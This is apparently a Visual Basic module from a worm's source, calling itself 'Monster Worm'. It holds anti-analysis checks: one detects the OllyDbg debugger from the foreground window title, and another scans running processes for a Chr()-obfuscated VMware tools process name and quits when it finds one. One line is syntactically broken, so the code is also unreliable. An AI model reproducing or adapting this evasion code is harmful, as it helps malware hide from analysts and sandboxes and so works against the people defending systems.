Attribute VB_Name = "Vmware"
Public Declare Function GetForegroundWindow Lib "USER32" () As Long
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" ( _
    ByVal hwnd As Long, _
    ByVal wMsg As Long, _
    ByVal wParam As Long, _
    lParam As Any) As Long
  
  
' Constantes para usar con SendMessage
Private Const WM_GETTEXTLENGTH = &HE ' Mensaje que Retorna el tamaņo del texto
Private Const WM_GETTEXT = &HD ' Mensaje que Retorna el texto de la ventana


Private Function textoventana() As String
    Dim Size_Text As Long
    Dim texto As String
    Dim El_HWND As Long
    El_HWND = GetForegroundWindow()
    Size_Text = SendMessage(El_HWND, WM_GETTEXTLENGTH, 0, 0)
    texto = Space$(Size_Text + 1)
    Size_Text = SendMessage(El_HWND, WM_GETTEXT, Size_Text + 1, ByVal texto)
    textoventana = Replace(texto, Chr(0), vbNullString)
End Function

Public Function isolly() As Boolean
    Dim a As String
    a = textoventana
    If InStr(UCase$(a), UCase$("olly")) <> 0 Then
        isolly = True
    End If
End Function

Public Sub sVMWARE()
    Dim sWMI, sFind   As Object
    Dim IsVMWARE As String
    Dim sProcess As Variant
    Set sWMI = GetObject("winmgmts:")
    Set sFind = sWMI.InstancesOf("win32_process")

    For Each sProcess In sFind

        sVMW = Chr(86) & Chr(77) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(84)
        Chr (114) & Chr(97) & Chr(121) & Chr(46) & Chr(101) & Chr(120) & Chr(101) = 1

        If InStr(sProcess.Caption, sVMW) = 1 Then
            IsVMWARE = True
            MsgBox "Anti Vmware", vbInformation, "Monster Worm"
            End

        End If

    Next

End Sub
